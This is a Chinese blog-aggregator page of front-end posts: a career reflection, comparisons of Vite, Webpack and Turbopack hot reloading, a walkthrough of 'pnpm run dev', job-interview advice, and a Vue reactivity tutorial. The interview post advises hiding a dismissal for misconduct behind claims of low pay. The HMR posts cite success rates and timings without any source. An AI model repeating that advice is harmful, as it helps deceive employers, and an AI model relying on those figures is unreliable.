普通视图

发现新文章,点击刷新页面。
昨天 — 2025年10月22日首页

技术、业务、管理:一个30岁前端的十字路口

作者 ErpanOmer
2025年10月22日 10:53

image.png

上个月,我刚过完30岁生日。

没有办派对,就和家人简单吃了顿饭。但在吹蜡烛的那个瞬间,我还是恍惚了一下。

30岁,对于一个干了8年的前端来说,到底意味着什么?

前几天,我在做团队下半年的规划,看着表格里的一个个名字,再看看镜子里的自己,一个问题在我脑子里变得无比清晰:

我职业生涯的下一站,到底在哪?

28岁之前

在28岁之前,我的人生是就行直线。

我的目标非常纯粹:成为一个技术大神。我的快乐,来自于搞懂一个Webpack的复杂配置、用一个巧妙的Hook解决了一个棘手的渲染问题、或者在Code Review里提出一个让同事拍案叫绝的优化。

这条路的升级路径也非常清晰:

初级(学框架) -> 中级(懂原理) -> 高级(能搞定复杂问题)

我在这条路上,跑得又快又开心。

30岁的十字路口

但到了30岁,我当上了技术组长,我发现,这条直线消失了。取而代之的,是一个迷雾重重的十字路口。

我发现,那些能让我晋升到高级的技能,好像并不能帮我晋升到下一个级别了。

摆在我面前的,是三条截然不同,却又相互纠缠的路。


技术路线——做技术专家

  • 这条路成为一个 主工程师 或 架构师。不带人,不背KPI,只解决公司最棘手的技术难题。比如,把我们项目的INP从200ms优化到100ms以下,或者主导设计公司下一代的跨端架构。

  • 这当然是我的舒适区。我爱代码,我享受这种状态。这条路,是我最熟悉、最擅长的。

  • 焦虑点:我真的能成为那个最顶尖的1%吗?前端技术迭代这么快,我能保证我5年后,还能比那些25岁的年轻人,学得更快、想得更深吗?当我不再是团队里最能打的那个人时,我的价值又是什么?


业务路线——更懂的产品工程师

  • 不再只关心怎么实现,而是去关心为什么要做?深入理解我们的商业模式、用户画像、数据指标。不再是一个接需求的资源,而是成为一个能和产品经理吵架、能反向推动产品形态的合作伙伴。

  • 我发现,在公司里,那些真正能影响决策、晋升最快的工程师,往往都是最懂业务的。他们能用数据和商业价值去证明自己工作的意义,而我,还在纠结一个技术实现的优劣。

  • 焦虑 :这意味着我要走出代码的舒适区,去开更多的会,去啃那些枯燥的业务文档,去和各种各样的人扯皮。我一个技术人,会不会慢慢变得油腻了?


管理——做前端Leader

  • 这就是我现在正在尝试的。我的工作,不再是写代码,而是让团队更好地写代码。我的KPI,不再是我交付了多少,而是我们团队交付了多少。

  • 老板常说的影响力杠杆。我一个人写代码,战斗力是1。我带一个5人团队,如果能让他们都发挥出1.2的战斗力,那我的杠杆就是6。这种成就感,和写出一个完美函数,是完全不同的。

  • 这是我最焦虑的地方:

    我上周二,开了7个会,一行代码都没写。

    晚上9点,我打开VS Code,看着那些我曾经最熟悉的代码库,突然有了一丝陌生感。我开始恐慌:我的手艺是不是要废了?如果有一天,我不当这个Leader了,我还能不能凭技术,在外面找到一份好工作?


这三个问题,在我脑子里盘旋了很久。我试图三选一,但越想越焦虑。

直到最近,我在复盘一个项目时,才突然想明白:

这根本不是一个三选一的十字路口。

这三条路,是一个优秀的技术人,在30岁之后,必须三位一体、同时去修炼的内功。

  • 一个不懂技术的Leader,无法服众,也做不出靠谱的架构决策。
  • 一个不懂业务的专家,他的技术再牛,也可能只是屠龙之技,无法为公司创造真正的价值。
  • 一个不懂管理(影响他人)的工程师,他的想法再好,也只能停留在自己的电脑上,无法变成团队的战斗力。

image.png

DOTA2的世界里,有一个英雄叫 祈求者(Invoker),他有冰、雷、火三个元素,通过不同的组合,能释放出10个截然不同的强大技能。

我觉得,30岁之后的前端,就应该成为一个祈求者。

我们不再是那个只需要猛点一个技能的码农。我们的挑战,在于如何在不同的场景下,把这三个元素,组合成最恰当的技能,去解决当下最复杂的问题。

这条路,很难,但也比25岁时,要有趣得多。

与所有在十字路口迷茫的同行者,共勉🙌。

昨天以前首页

Vite 炸裂快,Webpack 稳如山,Turbopack 想两头要:谁才是下一个王?

作者 却尘
2025年10月21日 08:36

你改了一行代码,按下保存。
Vite:100 毫秒内浏览器刷新。
Webpack:要等一秒。

为什么差距这么大?
答案在这行哲学级设计选择里:

“文件变化时,要重新编译多少模块?”

  • Vite:只编译这个文件。
  • Webpack / Turbopack:编译这个文件和它影响到的所有模块

这一个决策,让 Vite 快出一倍,也种下了“偶尔翻车”的种子。

⚙️ Vite 为什么这么快

Vite 的核心是极致的最小编译

  1. 检测到改动 → 只用 esbuild 重编译这一个文件(约 20–30ms)。
  2. 找 HMR 边界(比如 React 组件)。
  3. 通过 WebSocket 通知浏览器:import('/src/xxx?t=时间戳')
  4. React Fast Refresh 替换组件函数,保留 state 并重新渲染。

整个过程通常100ms 内完成,开发者几乎感受不到延迟。

⚡ 这是“即时反馈”体验的关键。

Vite 为什么会“翻车”

Vite 快,是因为它只替换组件函数,不会重新执行模块顶层代码。
但正是这点,导致某些情况出错或不一致。

1. 模块顶层常量不更新

export const THEME = 'dark';
const currentTheme = themeMap[THEME]; // 只计算一次

改成 'light' 后,组件渲染新主题,但 currentTheme 依然是旧值。

2. 顶层实例不重建

const store = new Store();

改了 Store 的逻辑,实例还在旧的内存里,不会重建。

3. 副作用重复或缺失

console.log('init');
window.initSomething();

模块被重复执行时,副作用代码可能被多次调用,产生混乱。

4. 循环依赖

A 导入 B,B 又导入 A。Vite 会放弃 HMR,触发整页刷新。

这些问题都源于:模块没重新执行
Vite 的成功率在实践中大约 90–95%

Webpack 的思路:稳中求全

Webpack 在 HMR 时,不仅编译变动的模块,还会编译所有受影响的依赖链,确保顶层逻辑重新执行。

优点:一致性高,不会出现“变量更新了但模块没重跑”的错乱。
缺点:慢。

  • 依赖分析:50ms
  • 多模块重编译:300ms
  • 推送更新 + 执行:150ms
  • 总计约 500ms

成功率约 97–99% ,但牺牲了灵敏度。

Webpack 的哲学是“宁慢勿错”,保证行为一致。

Turbopack:两边都要的野心家

Next.js 团队的 Turbopack 想在Vite 的速度Webpack 的可靠性之间找平衡。

  • 使用 Rust 编译管线,极快的增量编译。
  • 增量图更新 + 响应式依赖追踪机制(动态重计算受影响的子图)。
  • 成功率接近 Webpack,但速度明显更快。

实测数据:

工具 平均更新时间 成功率 特点
Vite ≈100ms 90–95% 极速反馈,偶尔翻车
Webpack ≈500ms 97–99% 稳定保守,延迟明显
Turbopack ≈200ms 96–99% 速度稳定兼顾,未来之选

Turbopack 的哲学是“用增量计算保障正确性”,
目标是在大型项目中维持接近 Vite 的体验,又避免状态不一致。

如何写出不容易“翻车”的 Vite 代码

Vite 快速没问题,关键是你别坑自己。

1. 状态放组件,不放模块顶层

// ❌
const store = new Store();

// ✅
export function App() {
  const [store] = useState(() => new Store());
}

2. 导出对象而不是常量

// ❌
export const MAX_COUNT = 10;

// ✅
export const config = { MAX_COUNT: 10 };
if (import.meta.hot) {
  import.meta.hot.accept(newModule => Object.assign(config, newModule.config));
}

3. 避免模块顶层副作用

// ❌
window.initAnalytics();

// ✅
export function initAnalytics() {
  window.initAnalytics();
}

4. 用函数返回动态值

// ❌
export const theme = themeConfig[THEME];

// ✅
export function getTheme() {
  return themeConfig[THEME];
}

这些习惯能让 Vite 的 HMR 稳定性接近 Turbopack 水平。

结论

Vite 就像一辆赛车:快得离谱,但需要会开。
Webpack 像老式坦克:笨重,却从不出事。
Turbopack 则在造一辆装了防撞系统的超跑

你想要速度、稳定,还是两者兼得?
选谁,其实就是选择开发体验的哲学。

当你敲下 `pnpm run dev`,这台机器到底在背后干了什么?

作者 却尘
2025年10月21日 08:16

每个前端开发者每天都要敲几十上百次 pnpm run dev,但有多少人真正理解这短短四个单词背后,触发了多少进程、编译了多少模块、建立了多少连接?

这不是一篇入门教程。如果你只想知道"它启动了一个开发服务器",那大可不必继续读下去。但如果你想知道为什么 Vite 比 Webpack 快 10 倍,为什么改一行 CSS 不用刷新浏览器,为什么 Next.js 的页面能在 0.1 秒内显示内容——那这篇文章会给你答案。

第一幕:pnpm 的依赖解析黑魔法

命令执行的真实路径

当你在终端输入 pnpm run dev,第一个动作是 pnpm 去读取 package.jsonscripts.dev 字段。假设这里写的是 vite,那么接下来发生的事情并不是直接执行全局的 vite 命令。

pnpm 会做一件至关重要的事:node_modules/.bin 目录塞到环境变量 PATH 的最前面。这意味着当脚本里写 vite 时,系统实际执行的是 node_modules/.bin/vite,而不是你可能全局安装的那个版本。这个机制保证了项目依赖的版本隔离,避免了"我电脑上能跑,你电脑上跑不了"的经典问题。

pnpm 的符号链接架构

打开你的 node_modules 目录,会看到一个神奇的结构:

node_modules/
  .pnpm/
    vite@5.0.0/
      node_modules/
        vite/           ← 真正的 vite 代码在这里
        esbuild/
        rollup/
  vite/                 ← 这只是个软链接
  react/                ← 也是软链接

这种设计让 pnpm 实现了一个壮举:即使你 100 个项目都用了 lodash,磁盘上也只有一份 lodash 的代码。通过符号链接(symlink),pnpm 在 .pnpm 目录里维护了一个全局的依赖存储池,每个项目只是链接到这个池子。

这不仅节省了磁盘空间,更重要的是保证了依赖的扁平化和可预测性。你在代码里 import lodash,Node.js 的模块解析算法会顺着链接找到 .pnpm/lodash@4.17.21/node_modules/lodash,路径明确,不会有幽灵依赖。

第二幕:不同框架的启动策略

Vite:按需编译的革命

image.png

node_modules/.bin/vite 被执行时,实际运行的是一个 Shell 脚本,它最终调用 node node_modules/vite/bin/vite.js。Vite 的启动流程分为几个关键步骤:

依赖预构建。Vite 会扫描你的入口文件(通常是 index.html 里引用的 main.js),分析出所有 npm 依赖。这些依赖会被 esbuild 预先打包到 node_modules/.vite 目录。为什么要这么做?因为像 lodash 这样的库,有几百个小文件,如果按浏览器原生 ESM 的方式加载,会产生几百个 HTTP 请求。esbuild 把它们合并成一个文件,请求数从 300 降到 1。

这个预构建过程用的是 esbuild,用 Go 语言编写,速度是 Babel 的 20-30 倍。一个中型项目的依赖预构建,通常在 1-2 秒内完成。

开发服务器启动。Vite 基于 Connect(一个 Node.js 的 HTTP 中间件框架)启动服务器,默认监听 5173 端口。与此同时,它会启动一个 WebSocket 服务器,这是实现 HMR 的关键通道。

按需编译的核心逻辑。这是 Vite 快的根本原因。当浏览器请求 /src/App.jsx 时,Vite 拦截这个请求,实时把 JSX 转换成浏览器能理解的 JavaScript。这个转换过程同样用 esbuild,耗时通常在几毫秒到几十毫秒。

对比 Webpack 的做法:Webpack 会在启动时构建整个应用的依赖图,把所有模块打包成一个或几个 bundle 文件。一个中型项目,Webpack 的冷启动可能需要 10-30 秒;而 Vite 的冷启动通常在 1-3 秒。这就是为什么用 Vite 开发时,保存文件到看到更新,几乎感觉不到延迟。

image.png

Next.js:服务端渲染的复杂性

next dev 的启动流程比纯前端框架复杂得多,因为它要同时处理服务端渲染(SSR)和客户端交互。

双重编译器。Next.js 会启动两个编译进程:一个处理服务端代码,一个处理客户端代码。在 Next.js 13+ 的 App Router 架构中,这个区分更加明确:服务端组件(Server Components)只在服务器编译和执行,客户端组件(标记了 'use client' 的)会被编译两次——服务端渲染一次生成 HTML,客户端再 hydrate 一次让页面可交互。

路由的动态生成。当你在 pages/app/ 目录里创建文件时,Next.js 会自动生成对应的路由。这个过程在开发时是惰性的:第一次访问 /about 路由时,Next.js 才会编译 app/about/page.jsx。这种策略避免了启动时编译整个项目,但也意味着第一次访问某个页面会稍慢。

Turbopack 的增量编译。Next.js 13+ 引入了 Turbopack(用 Rust 编写),它采用了一种叫做"增量计算"的策略。当你修改一个文件时,Turbopack 会精确计算出受影响的模块,只重新编译这些模块。假设你的项目有 1000 个模块,你修改了一个底层组件,传统方式可能需要重新编译几百个依赖它的模块;而 Turbopack 会缓存之前的编译结果,只处理真正需要更新的部分,速度提升可达 5-10 倍。

其他框架的差异化策略

Nuxt 的架构与 Next.js 类似,但基于 Vue 生态。它使用 Nitro 作为服务器引擎,这个引擎的抽象层次更高,可以无缝切换部署目标——从 Node.js 到 Cloudflare Workers,只需要改配置文件。

Astro 走的是静态优先路线。它的开发服务器基于 Vite,但编译策略完全不同:默认情况下,所有组件都被编译成纯 HTML,没有 JavaScript。只有明确标记了 client:loadclient:idle 的组件,才会打包 JS 到客户端。这种"岛屿架构"(Islands Architecture)让最终产物非常轻量,一个典型的 Astro 站点,首页的 JS 可能只有 2-3KB。

SvelteKit 同样基于 Vite,但 Svelte 的编译器会把组件编译成原生 DOM 操作,没有虚拟 DOM 的运行时开销。一个简单的计数器组件,React 编译后可能是 2KB,Svelte 编译后只有 500 字节。

第三幕:HMR——不刷新浏览器的魔法

什么是 HMR,为什么它改变了开发体验

Hot Module Replacement,热模块替换。在没有 HMR 的年代,改一行 CSS 需要刷新浏览器,表单里填的数据全丢了,弹窗关闭了,滚动位置回到顶部。如果你在调试购物车的第三步,每次改代码都要重新点一遍前面的按钮,这个过程能让人崩溃。

HMR 的本质是:在不刷新页面的前提下,替换掉改变的模块,并且尽可能保留应用的当前状态。这个"尽可能"三个字,是整个 HMR 机制最难的部分。

技术实现的三个层次

第一层:文件监听。所有现代构建工具都使用 chokidar 这个库来监听文件系统。当你按下 Ctrl+S,操作系统会发出一个文件变更事件,chokidar 捕获到这个事件,触发重新编译。

第二层:模块重新编译。假设你修改了 Counter.jsx,构建工具会重新编译这个文件。Vite 的做法是只编译这一个文件,生成新的代码;Webpack 则需要重新走一遍依赖图,找出所有导入了 Counter 的模块,也标记为需要更新。

第三层:通知浏览器。服务器通过 WebSocket 推送一条消息给浏览器:

{
  type: 'update',
  path: '/src/Counter.jsx',
  timestamp: 1699123456789
}

浏览器收到消息后,会重新 import 这个模块。注意这里的时间戳参数,它的作用是绕过浏览器缓存,确保拿到的是最新代码。

React Fast Refresh:状态保留的黑科技

React 的 HMR 实现叫 Fast Refresh,是 Meta 官方维护的。它的核心机制是给每个组件生成一个"签名"(Signature)。

当你写下这样的代码:

function Counter() {
  const [count, setCount] = useState(0);
  const [name, setName] = useState('Tom');
  
  useEffect(() => {
    console.log('mounted');
  }, []);
  
  return <button>{count}</button>;
}

Babel 或 SWC 在编译时会注入额外的代码,记录这个组件用了哪些 Hooks,顺序是什么。签名大概长这样:

{
  hooks: ['useState', 'useState', 'useEffect'],
  customHooks: [],
  forceReset: false
}

当你修改代码,把按钮文字从 {count} 改成 次数: {count},编译器重新生成签名,发现 Hooks 的种类和顺序都没变,于是判定可以安全地热更新。

这时候 React 会做一件精妙的事:它找到这个组件在 Fiber 树中的位置,直接替换掉组件函数的引用,但保留 Fiber 节点上的 memoizedState。这个 memoizedState 就是存储 Hooks 状态的地方,是个链表结构:

{
  value: 0,        // 第一个 useState 的值
  next: {
    value: 'Tom',  // 第二个 useState 的值
    next: {
      value: undefined,  // useEffect 没有返回值
      next: null
    }
  }
}

因为链表没动,所以 count 还是之前的值,name 也还在。然后 React 调度一次更新,重新执行组件函数,用新的 JSX 渲染,按钮文字就更新了,但状态完好无损。

Fast Refresh 的边界情况。如果你在 HMR 的过程中改变了 Hooks 的数量或顺序,比如加了一个 useEffect,签名不匹配了,Fast Refresh 会放弃热更新,强制重新挂载组件。这时候状态就丢了。

还有一种情况是组件外部有副作用。假设你在文件顶层写了 window.globalConfig = { theme: 'dark' },HMR 时这行代码会重新执行,但浏览器的 window 对象还是同一个,所以看起来没问题。但如果有其他模块依赖这个全局变量,可能会出现不一致。

Vue 的细粒度 HMR

Vue 的单文件组件(SFC)天然适合做 HMR,因为 template、script、style 三部分是物理隔离的。

当你只修改 template 部分,Vite 的 Vue 插件会只替换组件的 render 函数,不碰 setup 里的逻辑。这意味着响应式数据(refreactive)完全不受影响。

但如果你修改了 <script setup> 里的代码,情况就复杂了。setup 函数会重新执行,里面定义的变量会重新创建。为了保留状态,Vue HMR 会尝试从旧的组件实例里提取响应式对象,注入到新实例里。但这个过程并不是 100% 可靠,某些边界情况下状态还是会丢。

如果你只修改了 <style> 部分,这是最快的:Vite 直接替换页面上的 <style> 标签,连组件都不需要重新渲染。从按下保存到看到颜色变化,延迟通常在 50 毫秒以内。

Svelte 的暴力 HMR

Svelte 的 HMR 相对粗暴,因为 Svelte 把组件编译成了命令式的 DOM 操作代码。这种代码不像 React 的声明式那样容易"热插拔"。

Svelte HMR 的策略是:销毁旧组件,创建新组件,然后尝试恢复状态。这个恢复过程依赖开发者在组件里暴露状态接口,比如用 $$props$$set 方法。实际效果是,大部分情况下状态会丢失,体验不如 React 和 Vue。

但 Svelte 有个优势:因为没有虚拟 DOM,组件的重新挂载非常快,通常在几毫秒内完成。所以即使状态丢了,重新走一遍交互流程的成本也不高。

Solid.js 的完美方案

Solid.js 的 HMR 可能是目前最优雅的实现。它的响应式是基于 Signal 的,而 Signal 是独立于组件生命周期的。

function Counter() {
  const [count, setCount] = createSignal(0);
  return <button onClick={() => setCount(c => c + 1)}>{count()}</button>;
}

这里的 createSignal 返回的 Signal 对象,存在闭包里,不依附于组件实例。Solid HMR 会在全局维护一个 Map,把每个 Signal 和它的创建位置关联起来。

当组件代码更新时,Counter 函数重新执行,再次调用 createSignal(0)。但这次 createSignal 会检查全局 Map,发现这个位置之前创建过 Signal,直接返回旧的 Signal 对象。于是 count 的值保留了,按钮上显示的数字不会变。

这个机制几乎是完美的:不需要签名比对,不需要状态提取和恢复,Signal 天然就是持久化的。唯一的问题是,如果你的组件结构变化太大(比如从一个 Signal 变成两个),可能会出现对不上号的情况。

第四幕:服务端渲染与 Hydration

SSR 解决了什么问题

纯客户端渲染(CSR)的流程是:浏览器下载 HTML(几乎是空的),下载 JS,执行 JS,渲染页面。在 JS 执行之前,用户看到的是白屏。对于首页来说,这个白屏时间可能是 2-5 秒,在移动网络下更长。

服务端渲染的逻辑是:服务器先执行 React/Vue 代码,生成完整的 HTML,发给浏览器。用户立即看到内容,即使 JS 还没下载完。

这对 SEO 和首屏性能都是巨大提升。Google 的爬虫虽然能执行 JS,但它更倾向于索引 HTML 里的内容。而首屏时间(FCP,First Contentful Paint)直接影响用户留存率,据统计,首屏时间每增加 1 秒,跳出率增加 20%。

Hydration:从静态到动态的过渡

服务端渲染的 HTML 是"死"的,按钮点不了,表单提交不了。Hydration 的任务是把这些 HTML"激活"。

以 React 为例,服务器用 renderToString 生成 HTML:

const html = renderToString(<App />);

这个 HTML 被发送到浏览器,同时还会发送一个 bundle.js。浏览器加载这个 JS 文件后,执行:

hydrateRoot(document.getElementById('root'), <App />);

注意这里用的是 hydrateRoot,不是 createRoot。两者的区别在于,createRoot 会清空容器,从头开始渲染;而 hydrateRoot 会假设容器里已经有正确的 HTML,React 只需要"认领"这些 DOM 节点,给它们绑上事件监听器。

Hydration 的过程:React 会遍历虚拟 DOM 树,和真实 DOM 树做对比。如果发现某个节点的属性或内容不一致,就会打印警告(Hydration Mismatch),并且强制更新那个节点。这种不一致通常是因为服务端和客户端的渲染逻辑有差异,比如:

function BadComponent() {
  const [time] = useState(Date.now());
  return <div>{time}</div>;
}

服务器渲染时,Date.now() 是服务器的时间;客户端 hydrate 时,Date.now() 是客户端的时间,两者必然不同。

正确的做法是在 useEffect 里设置时间,因为 useEffect 只在客户端执行:

function GoodComponent() {
  const [time, setTime] = useState(null);
  
  useEffect(() => {
    setTime(Date.now());
  }, []);
  
  return <div>{time || '加载中...'}</div>;
}

流式 SSR 和选择性 Hydration

传统 SSR 的问题是,整个页面必须等最慢的数据请求完成,才能发送 HTML。如果某个组件需要查询数据库,耗时 2 秒,那整个页面就要等 2 秒。

React 18 引入了流式 SSR:

<Suspense fallback={<Skeleton />}>
  <SlowComponent />
</Suspense>

服务器会先发送 <Skeleton /> 的 HTML,浏览器立即渲染骨架屏。等 SlowComponent 的数据准备好了,服务器再通过同一个 HTTP 连接,流式传输 SlowComponent 的 HTML。浏览器接收到后,用 JavaScript 把骨架屏替换掉。

这个过程用的是 HTTP 的 chunked transfer encoding,允许响应体分块发送。用户的感知是:页面瞬间加载,某些区域稍后填充内容,整体体验比等待 2 秒白屏好得多。

更进一步的是选择性 Hydration。假设页面有 10 个组件,传统 Hydration 需要全部处理完才能交互。选择性 Hydration 的策略是:用户点了哪个组件,就优先 hydrate 哪个。这样即使页面还没完全"激活",关键按钮也能立即响应。

Next.js 13 的 App Router 默认启用了这些特性。开发者不需要写额外代码,只需要用 <Suspense> 包裹异步组件,框架会自动处理流式渲染和选择性 Hydration。

Next.js 的 HMR 特殊情况

Next.js 的 HMR 要同时处理客户端组件和服务端组件。

当你修改一个客户端组件(标记了 'use client'),走的是标准的 React Fast Refresh 流程。

当你修改一个服务端组件,情况就复杂了。服务器需要重新渲染这个组件,生成新的 HTML,然后通过 WebSocket 推送给客户端。客户端接收到 HTML 后,替换掉旧的部分,然后重新 hydrate 其中的客户端组件。

这个过程的性能瓶颈在于服务端渲染。如果组件里有数据库查询或 API 调用,可能需要几百毫秒。所以修改服务端组件时,HMR 的速度会比客户端组件慢一些。

尾声:性能数据与实践建议

不同工具的启动时间对比

以一个包含 500 个模块的中型项目为例:

  • Vite 冷启动:1.2 秒(依赖预构建 0.8 秒 + 服务器启动 0.4 秒)
  • Vite 热启动(有缓存):0.3 秒
  • Next.js (Turbopack) 冷启动:2.5 秒
  • Next.js (Webpack) 冷启动:8-12 秒
  • CRA (Webpack) 冷启动:15-25 秒

HMR 更新延迟

  • 改 CSS 文件:Vite 50ms,Next.js 100ms,Webpack 200-500ms
  • 改 React 组件:Vite 100-200ms,Next.js 200-400ms,Webpack 500-1500ms
  • 改服务端组件:Next.js 300-800ms(取决于是否有异步操作)

实践建议

对于新项目:如果不需要 SSR,Vite 是最佳选择,开发体验无可挑剔。如果需要 SEO 和服务端渲染,Next.js 13+ 的 App Router 是最成熟的方案。

对于已有项目:从 CRA 迁移到 Vite 通常只需要几小时,收益巨大。从 Next.js 的 Pages Router 迁移到 App Router 需要更多时间,但流式 SSR 和服务端组件的性能提升值得投入。

关于 HMR 的坑:避免在组件顶层写副作用代码,避免条件性调用 Hooks,避免动态 import 组件然后在 HMR 时切换。这些模式都会导致 HMR 失败或状态丢失。

关于 pnpm:它的符号链接机制在 Windows 上偶尔会有兼容性问题(需要开启开发者模式),但在 macOS 和 Linux 上完全没问题。磁盘空间的节省和依赖安装速度的提升,让它成为大型 Monorepo 项目的首选。

结语

pnpm run dev 这四个字,触发的是一个精密的工程系统:依赖解析、进程管理、模块编译、网络通信、状态同步。每一个环节都有大量的优化空间,每一个工具都在试图让开发者的反馈循环更短。

从 Webpack 的 10 秒编译到 Vite 的 0.1 秒更新,从整页刷新到精确到像素级的 HMR,这些技术进步不是为了炫技,而是为了让开发者能更专注于创造,而不是等待。

下次当你敲下 pnpm run dev,等待那一两秒钟时,或许可以想象一下,在这短暂的时间里,这台机器为你做了多少工作。

面试问题—上家公司的离职原因

作者 mapbar_front
2025年10月20日 23:37

面试结尾HR必问的问题,就是上一家公司的离职原因,作为多年的资深架构师,我做过多次终面,听到过千奇百怪的答案,有的真诚,有的官方,有的遮遮掩掩,有的情绪愤怒,这个问题是有正确答案的,今天就来和你分享一下。

1、真实的离职原因

其实离职无非就是两类原因,一类主动,一类被动。

主动,要么钱少,要么心累,但大多数情况都是钱少心又累。

被动,要么被行情拖累,要么末位淘汰,要么违纪被发现,这个问题只要不回答的稀碎,都不会影响你被录用。

2、避开下面两个错误答案

2.1、 破口大骂前公司前领导

有可能真的是你的前领导,做人做事很差劲,但是真实的面试中,不要这么说。

一般而言,面试官,会无形中把自己代入到你的领导的角色中,如果你现在这么骂别人,那面试官会觉得,后面你会不会骂他。(这是人性使然)

一家公司,只要是真正做事的公司,做到一定规模,对leader的要求还是比较高的,出现那种非常差劲的领导的可能性,比较低,在你批评你前领导的时候,很有可能别人会更相信是你自己的问题。

如果真的遇到那种特别垃圾的领导,那你就陈述事实即可,不要做过多的评价。倡导一些公平、正义、积极向上的价值观即可。

2.2、和上家公司闹翻,包装的离职原因被拆穿

尽量,在任何时候,都不要和上家的公司闹翻,当你从一家公司离职的时候,上家公司对你唯一的把柄就是,它具备一定的评价你的权力。

如果,真的是公司有巨大的问题,比如那种不给发工资,裁员不给赔偿的这种,那就直接走流程,该仲裁仲裁,该咋办就咋办。维护我们正当利益,也是我们的权力。如果这家公司在这种情况下,给你使绊子,你其实只需要提供完整的证据链,证明这家公司不行即可。(这种情况下,大家其实都是理解的)

面试官为什么会关心离职原因这个问题,因为如果你是违纪或者末尾淘汰,他们担心把你招进来,再出现类似的风险。钱少心累,这些都是正常理由,面试官天天面试,他们都能理解。

3、描述离职原因的场景

如果你觉得钱少,你就说多久没涨薪,你也要养家糊口,工作是为了更好的生活。

如果你觉得心累,你就说前公司管理比较混乱,发挥不出来个人价值,自己做的更多都是无用功。

如果钱少心又累,还是说钱少吧,这个理由更好一点。

如果从差的公司往好的公司跳,也可以顺便夸一夸新公司,就说想到更好的平台发展,想获得更大的个人提升。

如果是部门裁测,或者公司大规模裁员,直说就行,这也不是你的问题,就像最近某大厂30%的裁员,在圈子里一般都藏不住。

如果是末位淘汰或者违纪,只要不和前公司闹翻,不用提,就说钱少或者心累。

如果你和前公司闹翻了,这就有点麻烦,大厂全员背调,你只能直说,把自己放在受害者的身份包装出来,中小公司的话,普通员工背调的可能性不大,不用提了,就说钱少或者心累。

如果真的离职原因实在说不出口,那还是去中小公司。

@vue/reactivity

2025年10月20日 17:12

前言

vue 的响应式是 数据更新视图,也就是当数据变更时,vue 会自动帮我们更新页面,我们无需手动操作 dom

这么理解当然是对的,但是探究 vue 的响应式之根本就不单单是 数据更新视图,而应该是 数据更新函数

数据更新视图,无非就是 ref/reactive 后的数据变更,然后触发了 render 函数的重新执行,最后才是我们看到的 视图 更新

因此数据更新视图,这个函数仅仅是 render,我们不妨跳出 render,来到函数这一层,这样也方便我们实现

我们继续来看响应式,如何理解数据和函数之间的关联

我们看 vue 的响应式就是 数据变更了,用过这些数据的函数能够一起执行

因此这个关联体现在

  1. 函数要能够监听数据的 读取 以及 修改
  2. 以及该数据对应了哪些函数

弄清了这两个要点,我们就有实现的方向了

实现拦截

第一点我们可以给一个最小实现 demo,也就是实现监听对象

实现监听对象我们有两个方法,一个是 es5 的 Object.defineProperty,另一个是 es6 的 Proxy ,我们不妨回顾下二者的区别

在用法上,Object.defineProperty 需要拿到对象以及对应的 key,对 key 添加 get,set 属性,比如下面

1.png

a 属性在 definedProperty 后得到了 get,set 属性,这样 a 属性就获得了一个监听

而 proxy 则是对整个对象添加 handlers,这个 handlers 里面总共有 13 种拦截属性,不仅仅是 get,set

2.jpg

单单从这里就可以看出 Object.defineProperty 的局限性在于必须清楚对象的属性名,动态新增/删除无法感知,而 Proxy 则是通过代理整个对象,对所有操作进行拦截,不仅仅是get,set,Object.defineProperty 要想代理对象所有属性还得遍历挨个实现,proxy 则是天然支持,无需遍历

要说 Object.defineProperty 相较于 Proxy 的优点,也就只有 兼容可谈,不过目前基本上浏览器都兼容 proxy,可能只有 IE 不行

接下来就用 proxy 来实现一个demo,我们尽量参考 vue/reactivity 的模块来写

首先,我们期望有个 reactive 能够把数据变成响应式数据,也就是可以进行监听

import { reactive } from './reactive.js'

const obj = {
    a: 1,
    b: 2,
}

const state = reactive(obj)

function fn () {
  state.a;
}
fn()

这里 fn 执行,会读取到 state.a,那么应该会触发 get

因此在 reactive 里面实现一个 proxy 即可,proxy 的第二个参数是 handlers,考虑到延展,我们用单独一个文件 baseHandlers.js 里面存放 目前 有的 get,set

import { baseHandlers } from './baseHandlers.js'

export function reactive (target) {
    return new Proxy(target, baseHandlers)
}

baseHandlers.js

function get (target, key, value) {
    console.log('get', target, key);
    
    if (target[key]) {
        return target[key]
    } 
}

function set (target, key, value) {
    console.log('set', target, key, value);
    
    if (target[key] === value) return 
    target[key] = value
}

export const baseHandlers = {
    get,
    set, 
}

我们把 fn 改成修改值 state.a = 2,再来看

不出意外就会报错了

3.jpg

这是因为 proxy 的 set 操作返回一个 布尔,我们当然可以在结尾新增一个 return true,用 try catch 兜住错误。但是 es6 新增了一个 Reflect 对象,身上的 set 属性天然支持返回 true,因此我们 get,set 通通换成 Reflect 来做

那个 log 后续的逻辑其实就是依赖收集和派发更新,我们分别用函数 tracktrigger 代替

export function track (target, key) {
    console.log('依赖收集', target, key);
}

export function trigger (target, key) {
    console.log('依赖触发', target, key);
}

然后我们的 handlers 就用 Reflect 去 set 和 get

function get (target, key) {
    track(target, key)
    return Reflect.get(target, key)
}

function set (target, key, value) {    
    trigger(target, key)
    return Reflect.set(target, key, value)
}

至此,一个简单的响应式读取值和修改值的监听就实现了

后续的实现就是第二点,如何让一个数据能够收集到对应的使用过这些数据的函数

但是目前实现第二点还有点距离需要爬,我们先看下有些特殊情况,可能读写不会被监听上

in 的读取 --- has

我们来看一个 in 操作符

import { reactive } from './reactive.js'

const obj = {
    a: 1,
    b: 2,
}

const state = reactive(obj)

function fn () {
  if ('a' in state) {
    console.log('aaaa');
  }
}
fn()

'a' in state 这里会读取 a ,按道理应该可以触发 track 依赖收集,但是并没有

而 in 这个操作符其实本质上调用的是 hasProperty,proxy 里面拦截 hasProperty 的操作属性为 has

因此我们需要往 baseHandlers 中加一个 has

function has (target, key, value) {
    track(target, key)
    return Reflect.has(target, key, value)
}

这样一来就能拦截 'a' in state 了

for in 的读取 -- ownKeys

我们再来看个 for in 的例子

const obj = {
    a: 1,
    b: 2,
}

const state = reactive(obj)

function fn () {
  for (const key in state) {
  } 
}
fn()

这里按道理预期也是 会触发 track ,因为我把这个响应式数据的每个 key 都读取了一遍

这个 for in 其实是需要对象有 iterate 属性,而这个刚好对应着 ReflectownKeys 属性,不过这个迭代是不需要 key 的,因此这里的 key 就不用传给 track 了

function ownKeys (target) {
    track(target)
    return Reflect.ownKeys(target)
}

ownKeys 和 属性无关,因此没有 key value

操作类型与拦截类型

其实到这里你肯定会发现规律,那就是可能还会有很多操作类型,不仅仅是 get,set,has,ownKeys,还有 add,delete 等,考虑得越全面这些东西就越多,而这些属性其实刚好可以分为 操作类型 和 拦截类型,

